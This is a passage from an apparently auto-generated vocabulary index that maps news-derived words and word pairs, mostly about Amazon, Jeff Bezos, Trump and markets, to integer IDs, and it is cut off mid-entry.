"amazon rafael": 220628, "blazingly funny": 220629, "status 1091395001987194880": 220630, "ceo decision": 220631, "jeran": 220632, "biographer michael": 220633, "kth ac": 220634, "purina cat": 220635, "president opinion": 220636, "fashion advertising": 220637, "bezos points": 220638, "doesn trust": 220639, "lowell": 220640, "prices ofstamps": 220641, "getting food": 220642, "seductively": 220643, "provide delivery": 220644, "alcoa aa": 220645, "housing issues": 220646, "usa alcoa": 220647, "citing 2015": 220648, "ventilation": 220649, "tomatoes guarantee": 220650, "stripping": 220651, "retail bank": 220652, "endeavor": 220653, "world believed": 220654, "reading platform": 220655, "pet rescue": 220656, "federation": 220657, "cohon chairman": 220658, "safety protections": 220659, "wearing purple": 220660, "property empire": 220661, "seemingly promoted": 220662, "company dipping": 220663, "michael blake": 220664, "marxist conspiracy": 220665, "c9x": 220666, "trump reassuring": 220667, "manhattan survivor": 220668, "cnn trump": 220669, "a4ee q0": 220670, "lethem": 220671, "reserved tickets": 220672, "pullout new": 220673, "retaking": 220674, "limousines road": 220675, "launched series": 220676, "moral high": 220677, "disruption": 220678, "salsa": 220679, "offer calling": 220680, "passages aretha": 220681, "leguizamo": 220682, "totake": 220683, "mixed phil": 220684, "emails jeff": 220685, "party epitomized": 220686, "yeah martin": 220687, "nov read": 220688, "power struggle01": 220689, "devastating statistic": 220690, "existing racist": 220691, "identity verification": 220692, "according": 220693, "deer caught": 220694, "crunch": 220695, "040 shares": 220696, "tomorrow john": 220697, "ceo shared": 220698, "suppliers amazon": 220699, "plague afghan": 220700, "potential obstruction": 220701, "story twitter": 220702, "guaranteed monthly": 220703, "new policy": 220704, "justin flom": 220705, "wait": 220706, "nwdcresistance": 220707, "interview referring": 220708, "1987": 220709, "inflated heads": 220710, "wsj new": 220711, "benefits received": 220712, "details hinge": 220713, "bark": 220714, "sputnik president": 220715, "000 km\u00b2": 220716, "president refusal": 220717, "year barely": 220718, "rate location": 220719, "babysitting": 220720, "gold sponsors": 220721, "form near": 220722, "funny novelties": 220723, "candour": 220724, "splinter reported": 220725, "newsagency reuters": 220726, "advertisment": 220727, "aggressive lobbying": 220728, "greene correctional": 220729, "urus suv": 220730, "recruits virginia": 220731, "receive taxpayer": 220732, "trump insane": 220733, "propaganda trump": 220734, "hollywood stars": 220735, "chavie lieber": 220736, "6gb": 220737, "000 griffeth": 220738, "trump announces": 220739, "sorts cc": 220740, "big set": 220741, "fine literature": 220742, "democratic priorities": 220743, "hand machinations": 220744, "citizen immigrant": 220745, "voting twitter": 220746, "hissing": 220747, "hysteria": 220748, "2018 media": 220749, "specifically frei": 220750, "eluded": 220751, "health battle": 220752, "onewest involvement": 220753, "actually smaller": 220754, "original sketch": 220755, "intense criticism": 220756, "meatless complete": 220757, "checkups": 220758, "news conversely": 220759, "british intelligence": 220760, "skift article": 220761, "embarrassing news": 220762, "coat factory": 220763, "richest title": 220764, "2018 results": 220765, "campaign group": 220766, "identities health": 220767, "avoid cold": 220768, "budget items": 220769, "lovers amazon": 220770, "final question": 220771, "training video": 220772, "pro nazi": 220773, "thompson argued": 220774, "hoffmann dunkin": 220775, "told ians": 220776, "oldest": 220777, "voters wages": 220778, "verdict morning": 220779, "clinton secret": 220780, "practices investigations": 220781, "internal watchdog": 220782, "gaetz fla": 220783, "organization responding": 220784, "read books": 220785, "stanley negativity": 220786, "quick google": 220787, "inbound house": 220788, "premier hosts": 220789, "postal affairs": 220790, "true outsider": 220791, "presentation google": 220792, "downbeat finish": 220793, "launch center": 220794, "having second": 220795, "firm data": 220796, "won bid": 220797, "union antitrust": 220798, "continents": 220799, "tagged icons": 220800, "building new": 220801, "food video": 220802, "heroic president": 220803, "panel sanders": 220804, "capture plans": 220805, "stores including": 220806, "slang": 220807, "register reported": 220808, "provide cloud": 220809, "smell": 220810, "worker anti": 220811, "haddish reveals": 220812, "suspenseful": 220813, "following days": 220814, "nonprofit partnership": 220815, "extra publicity": 220816, "wireimage new": 220817, "flagged": 220818, "ensure profitability": 220819, "crude inventories": 220820, "view camp": 220821, "smocking gun": 220822, "right delete": 220823, "make various": 220824, "portfolio": 220825, "pirated products": 220826, "world seeing": 220827, "inability": 220828, "food shipping": 220829, "married americans": 220830, "cantillon": 220831, "political sphere": 220832, "investor losses": 220833, "immediate help": 220834, "break competitor": 220835, "climate tipping": 220836, "joe klein": 220837, "000 company": 220838, "surveillance": 220839, "viewform authorimage": 220840, "races new": 220841, "ushered slew": 220842, "brings justice": 220843, "newsstands": 220844, "becker naturally": 220845, "company wages": 220846, "giant current": 220847, "south koreans": 220848, "observed moment": 220849, "hardest things": 220850, "deportation policies": 220851, "collection duties": 220852, "website madcap": 220853, "nunes": 220854, "sharing systems": 220855, "trump zeal": 220856, "explosive post": 220857, "facilitate": 220858, "100 trillion": 220859, "wallbridge mining": 220860, "yorkers stepped": 220861, "enforcement palantir": 220862, "china amazon": 220863, "rai trump": 220864, "lawful prices": 220865, "states currently": 220866, "inducing tweet": 220867, "senior manager": 220868, "dog sully": 220869, "investors worry": 220870, "wing information": 220871, "people usually": 220872, "criticism figures": 220873, "complaints multiply": 220874, "decisions reached": 220875, "later supermodel": 220876, "barb accusing": 220877, "years pumping": 220878, "content spin": 220879, "home adchoices": 220880, "torel strongly": 220881, "chapter elevens": 220882, "sent racy": 220883, "fairly innocuous": 220884, "schmidt college": 220885, "dysfunction president": 220886, "company refers": 220887, "pitting communities": 220888, "reported stories": 220889, "uniquely american": 220890, "including legislation": 220891, "excellent question": 220892, "floundering washington": 220893, "says wage": 220894, "american women": 220895, "street role": 220896, "public attractions": 220897, "relatively meekly": 220898, "mod hp_lead_pos1": 220899, "employee earns": 220900, "know doj": 220901, "intrigue 2018": 220902, "officials earlier": 220903, "sessions white": 220904, "freedom thought": 220905, "rootless": 220906, "exemption plan": 220907, "based google": 220908, "power city": 220909, "obamagate": 220910, "financial bank": 220911, "france germany": 220912, "conservative districts": 220913, "shrouded incentives": 220914, "ubhi joined": 220915, "year presidential": 220916, "bombings": 220917, "hoverboard": 220918, "rancher bezos": 220919, "essential providers": 220920, "newspaper location": 220921, "issue trump": 220922, "best cleaning": 220923, "tense atmosphere": 220924, "list tooall": 220925, "recruitment organization": 220926, "server719402 articlepage": 220927, "ishares": 220928, "filing lengthy": 220929, "rhetorical attack": 220930, "incendiary remarks": 220931, "region ailing": 220932, "revelations journalist": 220933, "considering law": 220934, "whiteboard": 220935, "tshisekedi sworn": 220936, "available anytime": 220937, "spy agencies": 220938, "springing": 220939, "instead staffers": 220940, "toyota tm": 220941, "multiple appeals": 220942, "released 000": 220943, "ballooned animal": 220944, "infanticide": 220945, "revealed yesterday": 220946, "high winds": 220947, "attractive business": 220948, "involves transitioning": 220949, "aides state": 220950, "p2": 220951, "olivier": 220952, "voiced brilliantly": 220953, "print reddit": 220954, "tipster": 220955, "tab grabbed": 220956, "watchers northern": 220957, "figure citi": 220958, "literally amazon": 220959, "content sumner": 220960, "fish flesh": 220961, "rep steve": 220962, "evidence": 220963, "alleged affairs": 220964, "tariffs held": 220965, "russia shadowy": 220966, "glad bought": 220967, "kill man": 220968, "times sudan": 220969, "publication national": 220970, "reality augmented": 220971, "immigration ban": 220972, "harm nytimes": 220973, "pok\u00e9mon": 220974, "uniform": 220975, "california helping": 220976, "sadly soon": 220977, "source bank": 220978, "apply r4ee": 220979, "gudiel": 220980, "422 286": 220981, "brazenly blackmail": 220982, "dress codes": 220983, "happy birthday": 220984, "controlling inflammatory": 220985, "500 points": 220986, "n\u00e9e tuttle": 220987, "dow boost": 220988, "china provide": 220989, "1029803793272250368 retail": 220990, "letter reads": 220991, "nonprofit partners": 220992, "impact brazil": 220993, "representative wrote": 220994, "preorder": 220995, "documented history": 220996, "occurred": 220997, "american migrants": 220998, "favourite 1990": 220999, "unyielding": 221000, "brought giant": 221001, "abolitionist": 221002, "encountered fraudulent": 221003, "ydanis rodriguez": 221004, "paper money": 221005, "nature humbled": 221006, "pulpit": 221007, "contracts surged": 221008, "marconi job": 221009, "wti benchmark": 221010, "contemporary art": 221011, "receipts flow": 221012, "alexa smart": 221013, "central issue": 221014, "action clears": 221015, "morning demonstrations": 221016, "cnl_contenido_contenido_contenido_campa_contenido_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_corriente": 221017, "vote job": 221018, "blocks identified": 221019, "built": 221020, "called russia": 221021, "guwahati unrelenting": 221022, "industry lobbying": 221023, "dennis levinson": 221024, "blackrock larry": 221025, "based mapping": 221026, "girl minimum": 221027, "phillips writes": 221028, "perfumania cut": 221029, "continuously link": 221030, "recently spared": 221031, "2017 tweeted": 221032, "saudi connected": 221033, "logistical partnerships": 221034, "year cnn": 221035, "conservative jeffrey": 221036, "america 5g": 221037, "t5q 192": 221038, "provided jeff": 221039, "admirable idea": 221040, "carter paul": 221041, "moving exploration": 221042, "tax bailout": 221043, "islam promoted": 221044, "complete seasons": 221045, "buy new": 221046, "fees paid": 221047, "emerged": 221048, "jobs highly": 221049, "requests virginia": 221050, "statement retracting": 221051, "glazer": 221052, "pignolet reports": 221053, "237 589": 221054, "doesn quash": 221055, "wasn competitive": 221056, "terminally ill": 221057, "offices incompetent": 221058, "sarah jaffe": 221059, "cover usa": 221060, "ford testified": 221061, "sustainability amazon": 221062, "consumers reporting": 221063, "phones industry": 221064, "bookmark washington": 221065, "emerging environmental": 221066, "mro": 221067, "fewer trillion": 221068, "casting melissa": 221069, "enquirer colleagues": 221070, "diplomacy": 221071, "global edelman": 221072, "amazon event": 221073, "new chain": 221074, "sessions wait": 221075, "wwii": 221076, "smokey jo": 221077, "biggest scandals": 221078, "troubled years": 221079, "kavanaugh suggested": 221080, "bradbury farenheit": 221081, "course amazon": 221082, "competition film": 221083, "overtime compensation": 221084, "contractors participating": 221085, "1958 manhattan": 221086, "czech": 221087, "prosecutors extends": 221088, "shooting human": 221089, "unclear trump": 221090, "slight concerns": 221091, "strong q4": 221092, "fallon embedded": 221093, "doppler": 221094, "attention away": 221095, "build support": 221096, "hollywood figures": 221097, "promoting illegal": 221098, "sosnoff cap": 221099, "typical worries": 221100, "sanchez sanchez": 221101, "chiefs reuters": 221102, "incubator": 221103, "reporting requirements": 221104, "specific timetable": 221105, "deal brokered": 221106, "temperatures drop": 221107, "dc federal": 221108, "persisted": 221109, "songwriter": 221110, "similarity": 221111, "cony barrett": 221112, "prep recipes": 221113, "devious practices": 221114, "chris life": 221115, "extraordinary episode": 221116, "hosts media": 221117, "74th percentile": 221118, "intrigue surrounding": 221119, "bora bora": 221120, "modernizr mobile": 221121, "anybody younger": 221122, "split duties": 221123, "points kate": 221124, "local sporting": 221125, "drama godless": 221126, "new": 221127, "underlying technology": 221128, "weapons fromthe": 221129, "complacent": 221130, "garage": 221131, "cashflow": 221132, "including deliveries": 221133, "brad younggren": 221134, "motto": 221135, "reuters la": 221136, "streamlined": 221137, "bicyclists": 221138, "invigorate": 221139, "paid break": 221140, "cibc bankshares": 221141, "extends pact": 221142, "interim": 221143, "contrast sounded": 221144, "conjured river": 221145, "watched teachers": 221146, "bashar": 221147, "marrero": 221148, "family plus": 221149, "combat money": 221150, "list saying": 221151, "espouse violence": 221152, "today": 221153, "p0 r4": 221154, "blog aboutamazon": 221155, "union pension": 221156, "watson christopher": 221157, "billionaire koch": 221158, "hated cnn": 221159, "tv providers": 221160, "levi": 221161, "incorrectly suggests": 221162, "necessary services": 221163, "portfolio covered": 221164, "brexit hard": 221165, "reported blue": 221166, "amazon ultimately": 221167, "turkey etf": 221168, "tm richest": 221169, "angela weiss": 221170, "pharmacy pillpack": 221171, "ideologically": 221172, "fledgling": 221173, "210 points": 221174, "enterprise augmented": 221175, "administration says": 221176, "coordinated": 221177, "actions nice": 221178, "anyplace": 221179, "analyst just": 221180, "tax vendors": 221181, "earning masters": 221182, "nuclear treaty": 221183, "hubbard authored": 221184, "matched signatures": 221185, "politics politics": 221186, "actually pulling": 221187, "alternative facts": 221188, "proliferate ultimately": 221189, "pentagon currently": 221190, "nsa agreements": 221191, "c000214761": 221192, "zuker paul": 221193, "fox rsn": 221194, "dow weaker": 221195, "icon advisers": 221196, "causing significant": 221197, "alabama senator": 221198, "social security": 221199, "heap": 221200, "becky albertalli": 221201, "senate finalizes": 221202, "writes walmart": 221203, "blimp releasing": 221204, "doesn just": 221205, "marketfoolery": 221206, "amazon solved": 221207, "aid efforts": 221208, "implications telling": 221209, "mentioned mccain": 221210, "cramer says": 221211, "minecraft minecraft": 221212, "think daily": 221213, "related diseases": 221214, "lael": 221215, "vendor manager": 221216, "lsa": 221217, "spending money": 221218, "hostile trump": 221219, "celtic mole": 221220, "white police": 221221, "aisne american": 221222, "interactions": 221223, "read hiring": 221224, "bonus british": 221225, "house tell": 221226, "article utility": 221227, "indiana ran": 221228, "o9x": 221229, "minecraft": 221230, "capitulation": 221231, "c0": 221232, "daca program": 221233, "outside management": 221234, "shows potential": 221235, "political advertiser": 221236, "bigger trade": 221237, "incentivize better": 221238, "great indications": 221239, "increases senior": 221240, "nfl players": 221241, "oxfam america": 221242, "cabin republicans": 221243, "story buying": 221244, "new charity": 221245, "fake items": 221246, "fed chief": 221247, "paying factory": 221248, "notorious publication": 221249, "today big": 221250, "hurt consumers": 221251, "reaped": 221252, "figures": 221253, "newspaper column": 221254, "bros reference": 221255, "virginia tax": 221256, "working generation": 221257, "human tragedies": 221258, "immigration actions": 221259, "studies cis": 221260, "research grants": 221261, "house chuck": 221262, "taxes single": 221263, "freeport": 221264, "deals just": 221265, "include netflix": 221266, "construction projects": 221267, "reported related": 221268, "commercial mixed": 221269, "meagre treasuries": 221270, "russo": 221271, "peddle": 221272, "destroying traditional": 221273, "matchups": 221274, "brown kept": 221275, "held sen": 221276, "355 patents": 221277, "covering meaningfully": 221278, "conflicts busy": 221279, "canada griffeth": 221280, "midterms html": 221281, "adil jawad": 221282, "bolsonaro election": 221283, "boomer1": 221284, "wine loss": 221285, "amazon draws": 221286, "prefaced": 221287, "seeking way": 221288, "attacked": 221289, "2018 sorry": 221290, "mormon": 221291, "pancakes": 221292, "dealings trump": 221293, "fraudulently breach": 221294, "frazier healthcare": 221295, "today jon": 221296, "masters student": 221297, "dji": 221298, "massive lobbying": 221299, "expedia": 221300, "2019 rep": 221301, "vendetta": 221302, "nationals park": 221303, "british tabloids": 221304, "passed hb40": 221305, "americans ignored": 221306, "hadn fully": 221307, "trade talks": 221308, "job cuts": 221309, "currently plans": 221310, "carnage occasioned": 221311, "people jan": 221312, "amazon cheerleading": 221313, "concat": 221314, "based customers": 221315, "utah sen": 221316, "wildlife human": 221317, "100m bezos": 221318, "allocation shift": 221319, "truly meaningful": 221320, "increasingly rely": 221321, "low netflix": 221322, "2f2018": 221323, "merchants using": 221324, "google aided": 221325, "grassroots progressives": 221326, "commission estimated": 221327, "veteran chicago": 221328, "infrastructure trust": 221329, "content big": 221330, "chairman delivers": 221331, "mighty hiking": 221332, "financial position": 221333, "impresario": 221334, "shepard blue": 221335, "hill global": 221336, "estate industry": 221337, "strategy managers": 221338, "designations": 221339, "flows": 221340, "concept simply": 221341, "webdisplayname": 221342, "increased importance": 221343, "retiring sen": 221344, "second world": 221345, "critical post": 221346, "marketing central": 221347, "office relationship": 221348, "camera skills": 221349, "saul loeb": 221350, "better place": 221351, "delivery earlier": 221352, "winery run": 221353, "clayton lewis": 221354, "graduation speech": 221355, "cuar\u00f3n intricate": 221356, "fed problem": 221357, "forces driving": 221358, "zimmerman": 221359, "concern expressed": 221360, "katya apekina": 221361, "votes en": 221362, "netflix special": 221363, "jbg": 221364, "vix": 221365, "page ranked": 221366, "korea efforts": 221367, "fulfill high": 221368, "rozic": 221369, "include showtime": 221370, "cultural differences": 221371, "better protection": 221372, "broadsheet": 221373, "airworthiness": 221374, "brands rush": 221375, "sanders accepted": 221376, "mountable surge": 221377, "sally field": 221378, "cratchit": 221379, "workplaces experienced": 221380, "moser gentleman": 221381, "partially determined": 221382, "health knowledge": 221383, "instead lawmakers": 221384, "motorcade": 221385, "sparks conversation": 221386, "recording martha": 221387, "week ceo": 221388, "critical information": 221389, "services produced": 221390, "trademark backlash": 221391, "gumming": 221392, "retirement plans": 221393, "thailand south": 221394, "000 deportation": 221395, "hacked emails": 221396, "handle": 221397, "financial accounting": 221398, "told fortune": 221399, "spiritual": 221400, "heads spin": 221401, "earnin report": 221402, "media festival": 221403, "noncash stock": 221404, "republicans used": 221405, "believe aws": 221406, "street publishing": 221407, "2017 ipo": 221408, "unauthorized": 221409, "famously broke": 221410, "current residents": 221411, "fbi national": 221412, "decade according": 221413, "opioid addictions": 221414, "send entire": 221415, "mta transformation": 221416, "change tightening": 221417, "content illegal": 221418, "americanprogress": 221419, "central america": 221420, "operations svp": 221421, "tech giant": 221422, "period tells": 221423, "burlesque": 221424, "schar": 221425, "additionally president": 221426, "new drone": 221427, "college tuck": 221428, "just cut": 221429, "corporate activism": 221430, "fantasies achieved": 221431, "government case": 221432, "prompted lawsuit": 221433, "stormproof matches": 221434, "moving online": 221435, "relatively unknown": 221436, "developed consumer": 221437, "column accusing": 221438, "post dispatch": 221439, "uncomfy": 221440, "lost command": 221441, "cramer know": 221442, "beauty bar": 221443, "contracts involving": 221444, "fuck": 221445, "distribution company": 221446, "hands scampering": 221447, "start preparing": 221448, "grandmother home": 221449, "detailed concerns": 221450, "potentially lead": 221451, "starkest": 221452, "trump americans": 221453, "aggressive marketing": 221454, "causes supported": 221455, "ruling party": 221456, "create dangerous": 221457, "david dodd": 221458, "ordered online": 221459, "taxing": 221460, "lore president": 221461, "erotic": 221462, "thought american": 221463, "xbox amazon": 221464, "company latest": 221465, "recent partnership": 221466, "certainly yearns": 221467, "house hopeful": 221468, "ended grocery": 221469, "2018 leave": 221470, "trapped": 221471, "huge tax": 221472, "stunned washington": 221473, "sgn": 221474, "don yaeger": 221475, "know credit": 221476, "signals difficult": 221477, "ceid": 221478, "trump netflix": 221479, "impactful support": 221480, "1990s": 221481, "lea hall": 221482, "cnbc television": 221483, "address fully": 221484, "putting spotlight": 221485, "real contenders": 221486, "turkey designation": 221487, "178bn 139bn": 221488, "z4a k4a": 221489, "usps carell": 221490, "jake tapper": 221491, "alibaba group": 221492, "buy reports": 221493, "alleged instances": 221494, "prominent nonmainstream": 221495, "1973 killing": 221496, "janet yellen": 221497, "self righteously": 221498, "whisked lauren": 221499, "plans national": 221500, "fernando alvarez": 221501, "way 2018": 221502, "offer partners": 221503, "unbelievable jobs": 221504, "star adult": 221505, "reuters pic": 221506, "slight": 221507, "man patents": 221508, "irony source": 221509, "small chains": 221510, "kdaly politico": 221511, "illustration ky": 221512, "2018 democrats": 221513, "snuff": 221514, "paid wages": 221515, "accurately talk": 221516, "cites administration": 221517, "shameful disturbing": 221518, "certainly tries": 221519, "admission": 221520, "los angeles": 221521, "rate partially": 221522, "post separately": 221523, "krispy kreme": 221524, "saaristo": 221525, "goldwater": 221526, "medium prefer": 221527, "modest considering": 221528, "various measures": 221529, "fully expect": 221530, "otto": 221531, "main issues": 221532, "tricky": 221533, "losers 2018": 221534, "rock hill": 221535, "amazon tweeted": 221536, "president business": 221537, "president impeached": 221538, "vendors sell": 221539, "prominent role": 221540, "firewalled": 221541, "ibm carried": 221542, "film production": 221543, "freighter service": 221544, "rising popularity": 221545, "worth \u014273billion": 221546, "plant half": 221547, "harder hit": 221548, "likeable": 221549, "emergency specifically": 221550, "development project": 221551, "reddit wallstreetbets": 221552, "profit incentive": 221553, "art gallery": 221554, "shelled": 221555, "watchdog citing": 221556, "romantic": 221557, "griffith moon": 221558, "withdraw troops": 221559, "prices low": 221560, "vaughn": 221561, "300 job": 221562, "staggeringly large": 221563, "000 employees": 221564, "obligations recommendations": 221565, "md": 221566, "surged 129": 221567, "necessarily mean": 221568, "increased costs": 221569, "largest casinos": 221570, "long past": 221571, "drain assuredly": 221572, "newsnatasha": 221573, "dwindling": 221574, "speeches tweets": 221575, "corporatist handouts": 221576, "shipping goods": 221577, "career took": 221578, "s5 2018": 221579, "craft pot": 221580, "scouring": 221581, "soft policy": 221582, "triad international": 221583, "guardian turning": 221584, "growing awareness": 221585, "shipment": 221586, "temer administration": 221587, "today tweets": 221588, "929": 221589, "posthumous": 221590, "similar tribunal": 221591, "series tackles": 221592, "welcomed rich": 221593, "argentina": 221594, "madman": 221595, "place don": 221596, "required frequency": 221597, "hala": 221598, "mackenzie public": 221599, "books trillium": 221600, "energy resources": 221601, "quartz": 221602, "leadership meeting": 221603, "story despite": 221604, "alabama tornado": 221605, "based solely": 221606, "speaker immigrants": 221607, "quite simply": 221608, "peeing": 221609, "connolly released": 221610, "emily charlton": 221611, "merely warp": 221612, "usa vendors": 221613, "amazon america": 221614, "germany": 221615, "competitively low": 221616, "post unnamed": 221617, "doing question": 221618, "iran vice": 221619, "contributed 700": 221620, "muddy brown": 221621, "love lost": 221622, "indians black": 221623, "murky timeline": 221624, "hide read": 221625, "effort underway": 221626, "listings multiple": 221627, "6th": 221628, "oprah current": 221629, "directorate": 221630, "gardens britain": 221631, "boring company": 221632, "performances encourage": 221633, "rich client": 221634, "career changed": 221635, "age limit": 221636, "rank hold": 221637, "using celsius": 221638, "opportunity fund": 221639, "professional history": 221640, "bloc amid": 221641, "carousels": 221642, "sustainable investment": 221643, "subsidized": 221644, "google ibm": 221645, "includes reports": 221646, "walmart bought": 221647, "expansion early": 221648, "wyoming state": 221649, "apparel group": 221650, "include esl": 221651, "temporarily shut": 221652, "shufersal": 221653, "lifestyle jan": 221654, "vengeful": 221655, "uae intelligence": 221656, "bristlecone": 221657, "burns amy": 221658, "defray": 221659, "hle parts": 221660, "wings": 221661, "giveaway voters": 221662, "deliver merchandise": 221663, "sgf boko": 221664, "example gizmodo": 221665, "violence repression": 221666, "father decorated": 221667, "feather floating": 221668, "chairman sen": 221669, "case death": 221670, "firstnet buildout": 221671, "people away": 221672, "extremely expensive": 221673, "depths": 221674, "suggests trump": 221675, "unfair instead": 221676, "trump wealthy": 221677, "informed readers": 221678, "finally baby": 221679, "osinski": 221680, "street west": 221681, "propagandist": 221682, "illinois playbook": 221683, "polling data": 221684, "iconimageurl": 221685, "represents potentially": 221686, "grint stars": 221687, "common property": 221688, "building modern": 221689, "hottest celebrity": 221690, "contracts storing": 221691, "mutually agreed": 221692, "alphabet googl": 221693, "medellin": 221694, "pretentious": 221695, "agenda aaron": 221696, "policy research": 221697, "pape mailbag": 221698, "yeti jack": 221699, "toothless outside": 221700, "possibly": 221701, "john tory": 221702, "time travelling": 221703, "towleroad tlrd": 221704, "meets senate": 221705, "charles schumer": 221706, "decision sets": 221707, "steve delbianco": 221708, "hall miners": 221709, "atp": 221710, "jamie dettmer": 221711, "ally reflect": 221712, "owns 850": 221713, "depressed": 221714, "targets iran": 221715, "anil silva": 221716, "congressional inquiry": 221717, "trump george": 221718, "different takes": 221719, "announced prior": 221720, "77482 s7a": 221721, "going straight": 221722, "claimed seemingly": 221723, "rogers": 221724, "close missouri": 221725, "whenthey": 221726, "strays far": 221727, "costume mocking": 221728, "published articles": 221729, "flying allegations": 221730, "krauthammer charles": 221731, "jost dismissed": 221732, "courting advertisers": 221733, "shipping work": 221734, "clearly links": 221735, "knew mccabe": 221736, "probably going": 221737, "ba80967b7e99 covering": 221738, "fla high": 221739, "mark manson": 221740, "industry think": 221741, "acquisition process": 221742, "overhaul permanent": 221743, "singapore": 221744, "week claiming": 221745, "mind body": 221746, "final numbers": 221747, "queens despite": 221748, "claims includes": 221749, "chase nyse": 221750, "concerning studies": 221751, "hatred": 221752, "city community": 221753, "month going": 221754, "chapter ben": 221755, "statement recommended": 221756, "2018 jeffbezos": 221757, "federal corruption": 221758, "acquired check": 221759, "steadman check": 221760, "health approach": 221761, "bankers": 221762, "trump highlighted": 221763, "violations president": 221764, "wirth chevron": 221765, "campaign carlos": 221766, "rattle": 221767, "actually rose": 221768, "organizations critical": 221769, "service decline": 221770, "wait till": 221771, "funds reddit": 221772, "29m": 221773, "tail platform": 221774, "shared buildings": 221775, "skymed photo": 221776, "automatic weapons": 221777, "stopped": 221778, "media negatively": 221779, "walker trump": 221780, "primary clothes": 221781, "foreign policy": 221782, "value investors": 221783, "new position": 221784, "welcome new": 221785, "unilateral": 221786, "collecting rents": 221787, "pentagon decided": 221788, "hints": 221789, "short users": 221790, "memorabilia books": 221791, "ask": 221792, "000 words": 221793, "massive reduction": 221794, "slightly improved": 221795, "cramer mean": 221796, "congress finally": 221797, "migrants moving": 221798, "post shown": 221799, "southern florida": 221800, "twitter yesterday": 221801, "unitedhealthcare": 221802, "w8 o2x": 221803, "proposes potentially": 221804, "story worlds": 221805, "security fair": 221806, "melissa joan": 221807, "real education": 221808, "lottery amazon": 221809, "bezos argued": 221810, "joyful grateful": 221811, "weather tell": 221812, "fda controversial": 221813, "leave unless": 221814, "quickly carried": 221815, "policies best": 221816, "chief rival": 221817, "attacked left": 221818, "barely democrat": 221819, "arson": 221820, "board sat": 221821, "scholars long": 221822, "worth roughly": 221823, "fixed incomes": 221824, "subsidiaries": 221825, "scarff trump": 221826, "global total": 221827, "american neighborhood": 221828, "foods clearly": 221829, "immigrant bills": 221830, "publicly distance": 221831, "business sense": 221832, "women peace": 221833, "weapons bolsonaro": 221834, "possible house": 221835, "ebay best": 221836, "protected words": 221837, "political figures": 221838, "overdue president": 221839, "hbo trump": 221840, "sleeping giant": 221841, "feel ripped": 221842, "ara\u00fajo": 221843, "personal": 221844, "today accused": 221845, "fine trade": 221846, "pros stock": 221847, "visa": 221848, "000 wiped": 221849, "auburndale bay": 221850, "need design": 221851, "hear bezos": 221852, "wexton": 221853, "captive logistics": 221854, "service netflix": 221855, "somee bitchute": 221856, "grassley unfortunately": 221857, "karen mcdougal": 221858, "140 564": 221859, "corporations want": 221860, "promote liberal": 221861, "months twitter": 221862, "honor american": 221863, "electronics giant": 221864, "question don": 221865, "theft isn": 221866, "law president": 221867, "vt bob": 221868, "continued learning": 221869, "world gripe": 221870, "article portfolio": 221871, "political representation": 221872, "expressing trepidation": 221873, "amazon dod": 221874, "austin meet": 221875, "faced increased": 221876, "incredibles cast": 221877, "profession": 221878, "gig workers": 221879, "soon exit": 221880, "initiatives boosted": 221881, "week following": 221882, "china opposes": 221883, "riggs left": 221884, "justice efforts": 221885, "save 200": 221886, "poses threats": 221887, "ice systems": 221888, "accuse trump": 221889, "member florida": 221890, "industry stocks": 221891, "divided equally": 221892, "penitentiary": 221893, "severely": 221894, "christian nonprofit": 221895, "direct competitor": 221896, "questionable behavior": 221897, "traditional delivery": 221898, "blockchain council": 221899, "citing disappearing": 221900, "items written": 221901, "virginia ap": 221902, "solution traditional": 221903, "kafka open": 221904, "workers suicide": 221905, "stopped returning": 221906, "true img_reusableflag": 221907, "reverberated far": 221908, "feuded publicly": 221909, "plus portion": 221910, "hasn elevated": 221911, "rep tim": 221912, "operations sackler": 221913, "border emergency": 221914, "asked forbezos": 221915, "recaps": 221916, "dollars stand": 221917, "right gary": 221918, "panther slash": 221919, "victims little": 221920, "alliance defending": 221921, "family reckoning": 221922, "agrochemicals": 221923, "year did": 221924, "automated counterfeit": 221925, "dorie dorie": 221926, "cause actual": 221927, "preference right": 221928, "tremaine": 221929, "good investment": 221930, "potentially breaking": 221931, "consultation": 221932, "personalization hank": 221933, "did billion": 221934, "life dinners": 221935, "honorees": 221936, "ignoring trump": 221937, "mission critical": 221938, "dino experts": 221939, "ppb": 221940, "338": 221941, "financials": 221942, "title jeff": 221943, "conceptually pomp": 221944, "major construction": 221945, "paige hosts": 221946, "intrigue hmm": 221947, "doing exactly": 221948, "line corporate": 221949, "amazon believes": 221950, "mouths": 221951, "column pro": 221952, "buy intel": 221953, "doherty patrick": 221954, "electrical engineering": 221955, "associates deliberately": 221956, "onadplay": 221957, "z\u00e9lie tries": 221958, "wong public": 221959, "stay cheap": 221960, "netflix series": 221961, "company controls": 221962, "training tools": 221963, "exas northern": 221964, "owners shira": 221965, "flee": 221966, "carrell smirks": 221967, "massive investment": 221968, "tabloid news": 221969, "subsidies millennials": 221970, "entirely foreseeable": 221971, "study looked": 221972, "offer specialized": 221973, "false story": 221974, "mail investigation": 221975, "fellow party": 221976, "plump": 221977, "recycling center": 221978, "troll president": 221979, "russia election": 221980, "america depending": 221981, "forbes contributor": 221982, "ecosystem coupled": 221983, "7j1gyvrsrt": 221984, "dailytrust": 221985, "cristinaalesci": 221986, "wrapping presents": 221987, "relations remain": 221988, "new strategic": 221989, "ish dinner": 221990, "1q loss": 221991, "bezos longtime": 221992, "alleged shadow": 221993, "amazon commits": 221994, "sanchez speculation": 221995, "canaccord genuity": 221996, "issues competing": 221997, "high rents": 221998, "prostitution trump": 221999, "withhold pay": 222000, "local cloud": 222001, "vance harper": 222002, "ceo mathias": 222003, "vinnie": 222004, "doen": 222005, "0x367 uploaded_files": 222006, "credit presidents": 222007, "left raise": 222008, "violent loggers": 222009, "child making": 222010, "press coverage": 222011, "killer amazon": 222012, "certain titles": 222013, "sellers vestager": 222014, "renovating": 222015, "affronts": 222016, "stiletto knife": 222017, "marine": 222018, "maturity": 222019, "recruiting teenagers": 222020, "chicago public": 222021, "marijuana companies": 222022, "fanatical ravings": 222023, "carriers selling": 222024, "offer services": 222025, "aggressively investigate": 222026, "president goal": 222027, "locating facilities": 222028, "ohio new": 222029, "chain management": 222030, "expected celebrations": 222031, "inciteful": 222032, "amazon reputation": 222033, "certainly drastic": 222034, "illumination variations": 222035, "housing improvements": 222036, "anti corporatism": 222037, "duboff senior": 222038, "offers selective": 222039, "illicit scheme": 222040, "suicide attempts": 222041, "officially prime": 222042, "mccabe 